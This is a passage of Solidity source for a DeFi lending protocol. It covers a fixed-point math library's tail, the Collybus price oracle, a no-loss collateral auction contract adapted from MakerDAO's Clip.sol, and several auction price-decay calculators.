function scale() internal pure returns (uint256 result) {
result = SCALE;
}
/// @notice Calculates the square root of x, rounding down.
/// @dev Uses the Babylonian method https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method.
///
/// Requirements:
/// - x must be less than MAX_UD60x18 / SCALE.
///
/// @param x The unsigned 60.18-decimal fixed-point number for which to calculate the square root.
/// @return result The result as an unsigned 60.18-decimal fixed-point .
function sqrt(uint256 x) internal pure returns (uint256 result) {
unchecked {
if (x > MAX_UD60x18 / SCALE) {
revert PRBMathUD60x18__SqrtOverflow(x);
}
// Multiply x by the SCALE to account for the factor of SCALE that is picked up when multiplying two unsigned
// 60.18-decimal fixed-point numbers together (in this case, those two numbers are both the square root).
result = PRBMath.sqrt(x * SCALE);
}
}
/// @notice Converts a unsigned 60.18-decimal fixed-point number to basic integer form, rounding down in the process.
/// @param x The unsigned 60.18-decimal fixed-point number to convert.
/// @return result The same number in basic integer form.
function toUint(uint256 x) internal pure returns (uint256 result) {
unchecked {
result = x / SCALE;
}
}
}
/// @title Collybus
/// @notice `Collybus` stores a spot price and discount rate for every Vault / asset.
contract Collybus is Guarded, ICollybus {
/// ======== Custom Errors ======== ///
error Collybus__setParam_notLive();
error Collybus__setParam_unrecognizedParam();
error Collybus__updateSpot_notLive();
error Collybus__updateDiscountRate_notLive();
error Collybus__updateDiscountRate_invalidRateId();
error Collybus__updateDiscountRate_invalidRate();
using PRBMathUD60x18 for uint256;
/// ======== Storage ======== ///
struct VaultConfig {
// Liquidation ratio [wad]
uint128 liquidationRatio;
// Default fixed interest rate oracle system rateId
uint128 defaultRateId;
}
/// @notice Vault Configuration
/// @dev Vault => Vault Config
mapping(address => VaultConfig) public override vaults;
/// @notice Spot prices by token address
/// @dev Token address => spot price [wad]
mapping(address => uint256) public override spots;
/// @notice Fixed interest rate oracle system rateId
/// @dev RateId => Discount Rate [wad]
mapping(uint256 => uint256) public override rates;
// Fixed interest rate oracle system rateId for each TokenId
// Vault => TokenId => RateId
mapping(address => mapping(uint256 => uint256)) public override rateIds;
/// @notice Redemption Price of a Credit unit [wad]
uint256 public immutable override redemptionPrice;
/// @notice Boolean indicating if this contract is live (0 - not live, 1 - live)
uint256 public override live;
/// ======== Events ======== ///
event SetParam(bytes32 indexed param, uint256 data);
event SetParam(address indexed vault, bytes32 indexed param, uint256 data);
event SetParam(address indexed vault, uint256 indexed tokenId, bytes32 indexed param, uint256 data);
event UpdateSpot(address indexed token, uint256 spot);
event UpdateDiscountRate(uint256 indexed rateId, uint256 rate);
event Lock();
// TODO: why not making timeScale and redemption price function arguments?
constructor() Guarded() {
redemptionPrice = WAD; // 1.0
live = 1;
}
/// ======== Configuration ======== ///
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(bytes32 param, uint256 data) external override checkCaller {
if (live == 0) revert Collybus__setParam_notLive();
if (param == "live") live = data;
else revert Collybus__setParam_unrecognizedParam();
emit SetParam(address(0), param, data);
}
/// @notice Sets various variables for a Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(
address vault,
bytes32 param,
uint128 data
) external override checkCaller {
if (live == 0) revert Collybus__setParam_notLive();
if (param == "liquidationRatio") vaults[vault].liquidationRatio = data;
else if (param == "defaultRateId") vaults[vault].defaultRateId = data;
else revert Collybus__setParam_unrecognizedParam();
emit SetParam(vault, param, data);
}
/// @notice Sets various variables for a Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param param Name of the variable to set
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20)
/// @param data New value to set for the variable [wad]
function setParam(
address vault,
uint256 tokenId,
bytes32 param,
uint256 data
) external override checkCaller {
if (live == 0) revert Collybus__setParam_notLive();
if (param == "rateId") rateIds[vault][tokenId] = data;
else revert Collybus__setParam_unrecognizedParam();
emit SetParam(vault, tokenId, param, data);
}
/// ======== Spot Prices ======== ///
/// @notice Sets a token's spot price
/// @dev Sender has to be allowed to call this method
/// @param token Address of the token
/// @param spot Spot price [wad]
function updateSpot(address token, uint256 spot) external override checkCaller {
if (live == 0) revert Collybus__updateSpot_notLive();
spots[token] = spot;
emit UpdateSpot(token, spot);
}
/// ======== Discount Rate ======== ///
/// @notice Sets the discount rate by RateId
/// @param rateId RateId of the discount rate feed
/// @param rate Discount rate [wad]
function updateDiscountRate(uint256 rateId, uint256 rate) external override checkCaller {
if (live == 0) revert Collybus__updateDiscountRate_notLive();
if (rateId >= type(uint128).max) revert Collybus__updateDiscountRate_invalidRateId();
if (rate >= 2e10) revert Collybus__updateDiscountRate_invalidRate();
rates[rateId] = rate;
emit UpdateDiscountRate(rateId, rate);
}
/// @notice Returns the internal price for an asset
/// @dev
/// redemptionPrice
/// v = ----------------------------------------
/// (maturity - timestamp)
/// (1 + discountRate)
///
/// @param vault Address of the asset corresponding Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20)
/// @param maturity Maturity of the asset [unix timestamp in seconds]
/// @param net Boolean (true - with liquidation safety margin, false - without)
/// @return price Internal price [wad]
function read(
address vault,
address underlier,
uint256 tokenId,
uint256 maturity,
bool net
) external view override returns (uint256 price) {
VaultConfig memory vaultConfig = vaults[vault];
// fetch applicable fixed interest rate oracle system rateId
uint256 rateId = rateIds[vault][tokenId];
if (rateId == uint256(0)) rateId = vaultConfig.defaultRateId; // if not set, use default rateId
// fetch discount rate
uint256 discountRate = rates[rateId];
// apply discount rate if discountRate > 0
if (discountRate != 0 && maturity > block.timestamp) {
uint256 rate = add(WAD, discountRate).powu(sub(maturity, block.timestamp));
price = wdiv(redemptionPrice, rate); // den. in Underlier
} else {
price = redemptionPrice; // den. in Underlier
}
price = wmul(price, spots[underlier]); // den. in USD
if (net) price = wdiv(price, vaultConfig.liquidationRatio); // with liquidation safety margin
}
/// ======== Shutdown ======== ///
/// @notice Locks the contract
/// @dev Sender has to be allowed to call this method
function lock() external override checkCaller {
live = 0;
emit Lock();
}
}// Copyright (C) 2020-2021 Maker Ecosystem Growth Holdings, INC.
interface INoLossCollateralAuction {
function vaults(address)
external
view
returns (
uint256,
uint256,
uint256,
ICollybus,
IPriceCalculator
);
function codex() external view returns (ICodex);
function limes() external view returns (ILimes);
function aer() external view returns (IAer);
function feeTip() external view returns (uint64);
function flatTip() external view returns (uint192);
function auctionCounter() external view returns (uint256);
function activeAuctions(uint256) external view returns (uint256);
function auctions(uint256)
external
view
returns (
uint256,
uint256,
uint256,
address,
uint256,
address,
uint96,
uint256
);
function stopped() external view returns (uint256);
function init(address vault, address collybus) external;
function setParam(bytes32 param, uint256 data) external;
function setParam(bytes32 param, address data) external;
function setParam(
address vault,
bytes32 param,
uint256 data
) external;
function setParam(
address vault,
bytes32 param,
address data
) external;
function startAuction(
uint256 debt,
uint256 collateralToSell,
address vault,
uint256 tokenId,
address user,
address keeper
) external returns (uint256 auctionId);
function redoAuction(uint256 auctionId, address keeper) external;
function takeCollateral(
uint256 auctionId,
uint256 collateralAmount,
uint256 maxPrice,
address recipient,
bytes calldata data
) external;
function count() external view returns (uint256);
function list() external view returns (uint256[] memory);
function getStatus(uint256 auctionId)
external
view
returns (
bool needsRedo,
uint256 price,
uint256 collateralToSell,
uint256 debt
);
function updateAuctionDebtFloor(address vault) external;
function cancelAuction(uint256 auctionId) external;
}
/// @title NoLossCollateralAuction
/// @notice Same as CollateralAuction but enforces a floor price of debt / collateral
/// Uses Clip.sol from DSS (MakerDAO) as a blueprint
/// Changes from Clip.sol:
/// - only WAD precision is used (no RAD and RAY)
/// - uses a method signature based authentication scheme
/// - supports ERC1155, ERC721 style assets by TokenId
contract NoLossCollateralAuction is Guarded, INoLossCollateralAuction {
/// ======== Custom Errors ======== ///
error NoLossCollateralAuction__init_vaultAlreadyInit();
error NoLossCollateralAuction__checkReentrancy_reentered();
error NoLossCollateralAuction__isStopped_stoppedIncorrect();
error NoLossCollateralAuction__setParam_unrecognizedParam();
error NoLossCollateralAuction__startAuction_zeroDebt();
error NoLossCollateralAuction__startAuction_zeroCollateralToSell();
error NoLossCollateralAuction__startAuction_zeroUser();
error NoLossCollateralAuction__startAuction_overflow();
error NoLossCollateralAuction__startAuction_zeroStartPrice();
error NoLossCollateralAuction__redoAuction_notRunningAuction();
error NoLossCollateralAuction__redoAuction_cannotReset();
error NoLossCollateralAuction__redoAuction_zeroStartPrice();
error NoLossCollateralAuction__takeCollateral_notRunningAuction();
error NoLossCollateralAuction__takeCollateral_needsReset();
error NoLossCollateralAuction__takeCollateral_tooExpensive();
error NoLossCollateralAuction__takeCollateral_noPartialPurchase();
error NoLossCollateralAuction__cancelAuction_notRunningAction();
/// ======== Storage ======== ///
// Vault specific configuration data
struct VaultConfig {
// Multiplicative factor to increase start price [wad]
uint256 multiplier;
// Time elapsed before auction reset [seconds]
uint256 maxAuctionDuration;
// Cache (v.debtFloor * v.liquidationPenalty) to prevent excessive SLOADs [wad]
uint256 auctionDebtFloor;
// Collateral price module
ICollybus collybus;
// Current price calculator
IPriceCalculator calculator;
}
/// @notice Vault Configs
/// @dev Vault => Vault Config
mapping(address => VaultConfig) public override vaults;
/// @notice Codex
ICodex public immutable override codex;
/// @notice Limes
ILimes public override limes;
/// @notice Aer (Recipient of credit raised in auctions)
IAer public override aer;
/// @notice Percentage of debt to mint from aer to incentivize keepers [wad]
uint64 public override feeTip;
/// @notice Flat fee to mint from aer to incentivize keepers [wad]
uint192 public override flatTip;
/// @notice Total auctions (includes past auctions)
uint256 public override auctionCounter;
/// @notice Array of active auction ids
uint256[] public override activeAuctions;
// Auction State
struct Auction {
// Index in activeAuctions array
uint256 index;
// Debt to sell == Credit to raise [wad]
uint256 debt;
// collateral to sell [wad]
uint256 collateralToSell;
// Vault of the liquidated Positions collateral
address vault;
// TokenId of the liquidated Positions collateral
uint256 tokenId;
// Owner of the liquidated Position
address user;
// Auction start time
uint96 startsAt;
// Starting price [wad]
uint256 startPrice;
}
/// @notice State of auctions
/// @dev AuctionId => Auction
mapping(uint256 => Auction) public override auctions;
// reentrancy guard
uint256 private entered;
/// @notice Circuit breaker level
/// Levels for circuit breaker
/// 0: no breaker
/// 1: no new startAuction()
/// 2: no new startAuction() or redoAuction()
/// 3: no new startAuction(), redoAuction(), or takeCollateral()
uint256 public override stopped = 0;
/// ======== Events ======== ///
event Init(address vault);
event SetParam(bytes32 indexed param, uint256 data);
event SetParam(bytes32 indexed param, address data);
event StartAuction(
uint256 indexed auctionId,
uint256 startPrice,
uint256 debt,
uint256 collateralToSell,
address vault,
uint256 tokenId,
address user,
address indexed keeper,
uint256 tip
);
event TakeCollateral(
uint256 indexed auctionId,
uint256 maxPrice,
uint256 price,
uint256 owe,
uint256 debt,
uint256 collateralToSell,
address vault,
uint256 tokenId,
address indexed user
);
event RedoAuction(
uint256 indexed auctionId,
uint256 startPrice,
uint256 debt,
uint256 collateralToSell,
address vault,
uint256 tokenId,
address user,
address indexed keeper,
uint256 tip
);
event StopAuction(uint256 auctionId);
event UpdateAuctionDebtFloor(address indexed vault, uint256 auctionDebtFloor);
constructor(address codex_, address limes_) Guarded() {
codex = ICodex(codex_);
limes = ILimes(limes_);
}
modifier checkReentrancy() {
if (entered == 0) {
entered = 1;
_;
entered = 0;
} else revert NoLossCollateralAuction__checkReentrancy_reentered();
}
modifier isStopped(uint256 level) {
if (stopped < level) {
_;
} else revert NoLossCollateralAuction__isStopped_stoppedIncorrect();
}
/// ======== Configuration ======== ///
/// @notice Initializes a new Vault for which collateral can be auctioned off
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param collybus Address of the Collybus the Vault uses for pricing
function init(address vault, address collybus) external override checkCaller {
if (vaults[vault].calculator != IPriceCalculator(address(0)))
revert NoLossCollateralAuction__init_vaultAlreadyInit();
vaults[vault].multiplier = WAD;
vaults[vault].collybus = ICollybus(collybus);
emit Init(vault);
}
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(bytes32 param, uint256 data) external override checkCaller checkReentrancy {
if (param == "feeTip")
feeTip = uint64(data); // Percentage of debt to incentivize (max: 2^64 - 1 => 18.xxx WAD = 18xx%)
else if (param == "flatTip")
flatTip = uint192(data); // Flat fee to incentivize keepers (max: 2^192 - 1 => 6.277T WAD)
else if (param == "stopped")
stopped = data; // Set breaker (0, 1, 2, or 3)
else revert NoLossCollateralAuction__setParam_unrecognizedParam();
emit SetParam(param, data);
}
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [address]
function setParam(bytes32 param, address data) external override checkCaller checkReentrancy {
if (param == "limes") limes = ILimes(data);
else if (param == "aer") aer = IAer(data);
else revert NoLossCollateralAuction__setParam_unrecognizedParam();
emit SetParam(param, data);
}
/// @notice Sets various variables for a Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(
address vault,
bytes32 param,
uint256 data
) external override checkCaller checkReentrancy {
if (param == "multiplier") vaults[vault].multiplier = data;
else if (param == "maxAuctionDuration")
vaults[vault].maxAuctionDuration = data; // Time elapsed before auction reset
else revert NoLossCollateralAuction__setParam_unrecognizedParam();
emit SetParam(param, data);
}
/// @notice Sets various variables for a Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param param Name of the variable to set
/// @param data New value to set for the variable [address]
function setParam(
address vault,
bytes32 param,
address data
) external override checkCaller checkReentrancy {
if (param == "collybus") vaults[vault].collybus = ICollybus(data);
else if (param == "calculator") vaults[vault].calculator = IPriceCalculator(data);
else revert NoLossCollateralAuction__setParam_unrecognizedParam();
emit SetParam(param, data);
}
/// ======== No Loss Collateral Auction ======== ///
// get price at maturity
function _getPrice(address vault, uint256 tokenId) internal view returns (uint256) {
return IVault(vault).fairPrice(tokenId, false, true);
}
/// @notice Starts a collateral auction
/// The start price `startPrice` is obtained as follows:
/// startPrice = val * multiplier / redemptionPrice
/// Where `val` is the collateral's unitary value in USD, `multiplier` is a
/// multiplicative factor to increase the start price, and `redemptionPrice` is a reference per Credit.
/// @dev Sender has to be allowed to call this method
/// - trusts the caller to transfer collateral to the contract
/// - reverts if circuit breaker is set to 1 (no new auctions)
/// @param debt Amount of debt to sell / credit to buy [wad]
/// @param collateralToSell Amount of collateral to sell [wad]
/// @param vault Address of the collaterals Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20) of the collateral
/// @param user Address that will receive any leftover collateral
/// @param keeper Address that will receive incentives
/// @return auctionId Identifier of started auction
function startAuction(
uint256 debt,
uint256 collateralToSell,
address vault,
uint256 tokenId,
address user,
address keeper
) external override checkCaller checkReentrancy isStopped(1) returns (uint256 auctionId) {
// Input validation
if (debt == 0) revert NoLossCollateralAuction__startAuction_zeroDebt();
if (collateralToSell == 0) revert NoLossCollateralAuction__startAuction_zeroCollateralToSell();
if (user == address(0)) revert NoLossCollateralAuction__startAuction_zeroUser();
unchecked {
auctionId = ++auctionCounter;
}
if (auctionId == 0) revert NoLossCollateralAuction__startAuction_overflow();
activeAuctions.push(auctionId);
auctions[auctionId].index = activeAuctions.length - 1;
auctions[auctionId].debt = debt;
auctions[auctionId].collateralToSell = collateralToSell;
auctions[auctionId].vault = vault;
auctions[auctionId].tokenId = tokenId;
auctions[auctionId].user = user;
auctions[auctionId].startsAt = uint96(block.timestamp);
uint256 startPrice;
startPrice = wmul(_getPrice(vault, tokenId), vaults[vault].multiplier);
if (startPrice <= 0) revert NoLossCollateralAuction__startAuction_zeroStartPrice();
auctions[auctionId].startPrice = startPrice;
// incentive to startAuction auction
uint256 _tip = flatTip;
uint256 _feeTip = feeTip;
uint256 tip;
if (_tip > 0 || _feeTip > 0) {
tip = add(_tip, wmul(debt, _feeTip));
codex.createUnbackedDebt(address(aer), keeper, tip);
}
emit StartAuction(auctionId, startPrice, debt, collateralToSell, vault, tokenId, user, keeper, tip);
}
/// @notice Resets an existing collateral auction
/// See `startAuction` above for an explanation of the computation of `startPrice`.
/// multiplicative factor to increase the start price, and `redemptionPrice` is a reference per Credit.
/// @dev Reverts if circuit breaker is set to 2 (no new auctions and no redos of auctions)
/// @param auctionId Id of the auction to reset
/// @param keeper Address that will receive incentives
function redoAuction(uint256 auctionId, address keeper) external override checkReentrancy isStopped(2) {
// Read auction data
Auction memory auction = auctions[auctionId];
if (auction.user == address(0)) revert NoLossCollateralAuction__redoAuction_notRunningAuction();
// Check that auction needs reset
// and compute current price [wad]
{
(bool done, ) = status(auction);
if (!done) revert NoLossCollateralAuction__redoAuction_cannotReset();
}
uint256 debt = auctions[auctionId].debt;
uint256 collateralToSell = auctions[auctionId].collateralToSell;
auctions[auctionId].startsAt = uint96(block.timestamp);
uint256 price = _getPrice(auction.vault, auction.tokenId);
uint256 startPrice = wmul(price, vaults[auction.vault].multiplier);
if (startPrice <= 0) revert NoLossCollateralAuction__redoAuction_zeroStartPrice();
auctions[auctionId].startPrice = startPrice;
// incentive to redoAuction auction
uint256 tip;
{
uint256 _tip = flatTip;
uint256 _feeTip = feeTip;
if (_tip > 0 || _feeTip > 0) {
uint256 _auctionDebtFloor = vaults[auction.vault].auctionDebtFloor;
if (debt >= _auctionDebtFloor && wmul(collateralToSell, price) >= _auctionDebtFloor) {
tip = add(_tip, wmul(debt, _feeTip));
codex.createUnbackedDebt(address(aer), keeper, tip);
}
}
}
emit RedoAuction(
auctionId,
startPrice,
debt,
collateralToSell,
auction.vault,
auction.tokenId,
auction.user,
keeper,
tip
);
}
/// @notice Buy up to `collateralAmount` of collateral from the auction indexed by `id`
///
/// Auctions will not collect more Credit than their assigned Credit target,`debt`;
/// thus, if `collateralAmount` would cost more Credit than `debt` at the current price, the
/// amount of collateral purchased will instead be just enough to collect `debt` in Credit.
///
/// To avoid partial purchases resulting in very small leftover auctions that will
/// never be cleared, any partial purchase must leave at least `CollateralAuction.auctionDebtFloor`
/// remaining Credit target. `auctionDebtFloor` is an asynchronously updated value equal to
/// (Codex.debtFloor * Limes.liquidationPenalty(vault) / WAD) where the values are understood to be determined
/// by whatever they were when CollateralAuction.updateAuctionDebtFloor() was last called. Purchase amounts
/// will be minimally decreased when necessary to respect this limit; i.e., if the
/// specified `collateralAmount` would leave `debt < auctionDebtFloor` but `debt > 0`, the amount actually
/// purchased will be such that `debt == auctionDebtFloor`.
///
/// If `debt <= auctionDebtFloor`, partial purchases are no longer possible; that is, the remaining
/// collateral can only be purchased entirely, or not at all.
///
/// Enforces a price floor of debt / collateral
///
/// @dev Reverts if circuit breaker is set to 3 (no new auctions, no redos of auctions and no collateral buying)
/// @param auctionId Id of the auction to buy collateral from
/// @param collateralAmount Upper limit on amount of collateral to buy [wad]
/// @param maxPrice Maximum acceptable price (Credit / collateral) [wad]
/// @param recipient Receiver of collateral and external call address
/// @param data Data to pass in external call; if length 0, no call is done
function takeCollateral(
uint256 auctionId, // Auction id
uint256 collateralAmount, // Upper limit on amount of collateral to buy [wad]
uint256 maxPrice, // Maximum acceptable price (Credit / collateral) [wad]
address recipient, // Receiver of collateral and external call address
bytes calldata data // Data to pass in external call; if length 0, no call is done
) external override checkReentrancy isStopped(3) {
Auction memory auction = auctions[auctionId];
if (auction.user == address(0)) revert NoLossCollateralAuction__takeCollateral_notRunningAuction();
uint256 price;
{
bool done;
(done, price) = status(auction);
// Check that auction doesn't need reset
if (done) revert NoLossCollateralAuction__takeCollateral_needsReset();
// Ensure price is acceptable to buyer
if (maxPrice < price) revert NoLossCollateralAuction__takeCollateral_tooExpensive();
}
uint256 collateralToSell = auction.collateralToSell;
uint256 debt = auction.debt;
uint256 owe;
unchecked {
{
// Purchase as much as possible, up to collateralAmount
// collateralSlice <= collateralToSell
uint256 collateralSlice = min(collateralToSell, collateralAmount);
// Credit needed to buy a collateralSlice of this auction
owe = wmul(collateralSlice, price);
// owe can be greater than debt and thus user would pay a premium to the recipient
if (owe < debt && collateralSlice < collateralToSell) {
// If collateralSlice == collateralToSell => auction completed => debtFloor doesn't matter
uint256 _auctionDebtFloor = vaults[auction.vault].auctionDebtFloor;
if (debt - owe < _auctionDebtFloor) {
// safe as owe < debt
// If debt <= auctionDebtFloor, buyers have to take the entire collateralToSell.
if (debt <= _auctionDebtFloor)
revert NoLossCollateralAuction__takeCollateral_noPartialPurchase();
// Adjust amount to pay
owe = debt - _auctionDebtFloor; // owe' <= owe
// Adjust collateralSlice
// collateralSlice' = owe' / price < owe / price == collateralSlice < collateralToSell
collateralSlice = wdiv(owe, price);
}
}
// Calculate remaining collateralToSell after operation
collateralToSell = collateralToSell - collateralSlice;
// Send collateral to recipient
codex.transferBalance(auction.vault, auction.tokenId, address(this), recipient, collateralSlice);
// Do external call (if data is defined) but to be
// extremely careful we don't allow to do it to the two
// contracts which the CollateralAuction needs to be authorized
ILimes limes_ = limes;
if (data.length > 0 && recipient != address(codex) && recipient != address(limes_)) {
CollateralAuctionCallee(recipient).collateralAuctionCall(msg.sender, owe, collateralSlice, data);
}
// Get Credit from caller
codex.transferCredit(msg.sender, address(aer), owe);
// Removes Credit out for liquidation from accumulator
// if all collateral has been sold or owe is larger than remaining debt
// then just remove the remaining debt from the accumulator
limes_.liquidated(auction.vault, auction.tokenId, (collateralToSell == 0 || debt < owe) ? debt : owe);
// Calculate remaining debt after operation
debt = (owe < debt) ? debt - owe : 0; // safe since owe <= debt
}
}
if (collateralToSell == 0) {
_remove(auctionId);
} else if (debt == 0) {
codex.transferBalance(auction.vault, auction.tokenId, address(this), auction.user, collateralToSell);
_remove(auctionId);
} else {
auctions[auctionId].debt = debt;
auctions[auctionId].collateralToSell = collateralToSell;
}
emit TakeCollateral(
auctionId,
maxPrice,
price,
owe,
debt,
collateralToSell,
auction.vault,
auction.tokenId,
auction.user
);
}
// Removes an auction from the active auctions array
function _remove(uint256 auctionId) internal {
uint256 _move = activeAuctions[activeAuctions.length - 1];
if (auctionId != _move) {
uint256 _index = auctions[auctionId].index;
activeAuctions[_index] = _move;
auctions[_move].index = _index;
}
activeAuctions.pop();
delete auctions[auctionId];
}
/// @notice The number of active auctions
/// @return Number of active auctions
function count() external view override returns (uint256) {
return activeAuctions.length;
}
/// @notice Returns the entire array of active auctions
/// @return List of active auctions
function list() external view override returns (uint256[] memory) {
return activeAuctions;
}
/// @notice Externally returns boolean for if an auction needs a redo and also the current price
/// @param auctionId Id of the auction to get the status for
/// @return needsRedo If the auction needs a redo (max duration or max discount exceeded)
/// @return price Current price of the collateral determined by the calculator [wad]
/// @return collateralToSell Amount of collateral left to buy for credit [wad]
/// @return debt Amount of debt / credit to sell for collateral [wad]
function getStatus(uint256 auctionId)
external
view
override
returns (
bool needsRedo,
uint256 price,
uint256 collateralToSell,
uint256 debt
)
{
Auction memory auction = auctions[auctionId];
bool done;
(done, price) = status(auction);
needsRedo = auction.user != address(0) && done;
collateralToSell = auction.collateralToSell;
debt = auction.debt;
}
// Internally returns boolean for if an auction needs a redo
function status(Auction memory auction) internal view returns (bool done, uint256 price) {
uint256 floorPrice = wdiv(auction.debt, auction.collateralToSell);
price = max(
floorPrice,
vaults[auction.vault].calculator.price(auction.startPrice, sub(block.timestamp, auction.startsAt))
);
done = (sub(block.timestamp, auction.startsAt) > vaults[auction.vault].maxAuctionDuration ||
price == floorPrice);
}
/// @notice Public function to update the cached vault.debtFloor*vault.liquidationPenalty value
/// @param vault Address of the Vault for which to update the auctionDebtFloor variable
function updateAuctionDebtFloor(address vault) external override {
(, , , uint256 _debtFloor) = ICodex(codex).vaults(vault);
uint256 auctionDebtFloor = wmul(_debtFloor, limes.liquidationPenalty(vault));
vaults[vault].auctionDebtFloor = auctionDebtFloor;
emit UpdateAuctionDebtFloor(vault, auctionDebtFloor);
}
/// ======== Shutdown ======== ///
/// @notice Cancels an auction during shutdown or via governance action
/// @dev Sender has to be allowed to call this method
/// @param auctionId Id of the auction to cancel
function cancelAuction(uint256 auctionId) external override checkCaller checkReentrancy {
if (auctions[auctionId].user == address(0)) revert NoLossCollateralAuction__cancelAuction_notRunningAction();
address vault = auctions[auctionId].vault;
uint256 tokenId = auctions[auctionId].tokenId;
limes.liquidated(vault, tokenId, auctions[auctionId].debt);
codex.transferBalance(vault, tokenId, address(this), msg.sender, auctions[auctionId].collateralToSell);
_remove(auctionId);
emit StopAuction(auctionId);
}
}// Copyright (C) 2020 Maker Ecosystem Growth Holdings, INC.
/// @title LinearDecrease
/// @notice Implements a linear decreasing price curve for the collateral auction
/// Uses LinearDecrease.sol from DSS (MakerDAO) as a blueprint
/// Changes from LinearDecrease.sol /:
/// - only WAD precision is used (no RAD and RAY)
/// - uses a method signature based authentication scheme
/// - supports ERC1155, ERC721 style assets by TokenId
contract LinearDecrease is Guarded, IPriceCalculator {
/// ======== Custom Errors ======== ///
error LinearDecrease__setParam_unrecognizedParam();
/// ======== Storage ======== ///
/// @notice Seconds after auction start when the price reaches zero [seconds]
uint256 public duration;
/// ======== Events ======== ///
event SetParam(bytes32 indexed param, uint256 data);
constructor() Guarded() {}
/// ======== Configuration ======== ///
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(bytes32 param, uint256 data) external checkCaller {
if (param == "duration") duration = data;
else revert LinearDecrease__setParam_unrecognizedParam();
emit SetParam(param, data);
}
/// ======== Pricing ======== ///
/// @notice Price calculation when price is decreased linearly in proportion to time:
/// @dev `duration` The number of seconds after the start of the auction where the price will hit 0
/// Note the internal call to mul multiples by WAD, thereby ensuring that the wmul calculation
/// which utilizes startPrice and duration (WAD values) is also a WAD value.
/// @param startPrice: Initial price [wad]
/// @param time Current seconds since the start of the auction [seconds]
/// @return Returns y = startPrice * ((duration - time) / duration)
function price(uint256 startPrice, uint256 time) external view override returns (uint256) {
if (time >= duration) return 0;
return wmul(startPrice, wdiv(sub(duration, time), duration));
}
}
/// @title StairstepExponentialDecrease
/// @notice Implements a stairstep like exponential decreasing price curve for the collateral auction
/// Uses StairstepExponentialDecrease.sol from DSS (MakerDAO) as a blueprint
/// Changes from StairstepExponentialDecrease.sol /:
/// - only WAD precision is used (no RAD and RAY)
/// - uses a method signature based authentication scheme
/// - supports ERC1155, ERC721 style assets by TokenId
contract StairstepExponentialDecrease is Guarded, IPriceCalculator {
/// ======== Custom Errors ======== ///
error StairstepExponentialDecrease__setParam_factorGtWad();
error StairstepExponentialDecrease__setParam_unrecognizedParam();
/// ======== Storage ======== ///
/// @notice Length of time between price drops [seconds]
uint256 public step;
/// @notice Per-step multiplicative factor [wad]
uint256 public factor;
/// ======== Events ======== ///
event SetParam(bytes32 indexed param, uint256 data);
// `factor` and `step` values must be correctly set for this contract to return a valid price
constructor() Guarded() {}
/// ======== Configuration ======== ///
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(bytes32 param, uint256 data) external checkCaller {
if (param == "factor") {
if (data > WAD) revert StairstepExponentialDecrease__setParam_factorGtWad();
factor = data;
} else if (param == "step") step = data;
else revert StairstepExponentialDecrease__setParam_unrecognizedParam();
emit SetParam(param, data);
}
/// ======== Pricing ======== ///
/// @notice Price calculation when price is decreased stairstep like, exponential in proportion to time:
/// @dev `step` seconds between a price drop,
/// `factor` factor encodes the percentage to decrease per step.
/// For efficiency, the values is set as (1 - (% value / 100)) * WAD
/// So, for a 1% decrease per step, factor would be (1 - 0.01) * WAD
/// @param startPrice: Initial price [wad]
/// @param time Current seconds since the start of the auction [seconds]
/// @return Returns startPrice * (factor ^ time)
function price(uint256 startPrice, uint256 time) external view override returns (uint256) {
return wmul(startPrice, wpow(factor, time / step, WAD));
}
}
/// @title ExponentialDecrease
/// @notice Implements a linear decreasing price curve for the collateral auction
/// While an equivalent function can be obtained by setting step = 1 in StairstepExponentialDecrease,
/// this continous (i.e. per-second) exponential decrease has be implemented as it is more gas-efficient
/// than using the stairstep version with step = 1 (primarily due to 1 fewer SLOAD per price calculation).
///
/// Uses ExponentialDecrease.sol from DSS (MakerDAO) as a blueprint
/// Changes from ExponentialDecrease.sol /:
/// - only WAD precision is used (no RAD and RAY)
/// - uses a method signature based authentication scheme
/// - supports ERC1155, ERC721 style assets by TokenId
contract ExponentialDecrease is Guarded, IPriceCalculator {
/// ======== Custom Errors ======== ///
error ExponentialDecrease__setParam_factorGtWad();
error ExponentialDecrease__setParam_unrecognizedParam();
/// ======== Storage ======== ///
/// @notice Per-second multiplicative factor [wad]
uint256 public factor;
/// ======== Events ======== ///
event SetParam(bytes32 indexed param, uint256 data);
// `factor` value must be correctly set for this contract to return a valid price
constructor() Guarded() {}
/// ======== Configuration ======== ///
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(bytes32 param, uint256 data) external checkCaller {
if (param == "factor") {
if (data > WAD) revert ExponentialDecrease__setParam_factorGtWad();
factor = data;
} else revert ExponentialDecrease__setParam_unrecognizedParam();
emit SetParam(param, data);
}
/// ======== Pricing ======== ///
/// @notice Price calculation when price is decreased exponentially in proportion to time:
/// @dev `factor`: factor encodes the percentage to decrease per second.
/// For efficiency, the values is set as (1 - (% value / 100)) * WAD
/// So, for a 1% decrease per second, factor would be (1 - 0.01) * WAD
/// @param startPrice: Initial price [wad]
/// @param time Current seconds since the start of the auction [seconds]
/// @return Returns startPrice * (factor ^ time)
function price(uint256 startPrice, uint256 time) external view override returns (uint256) {
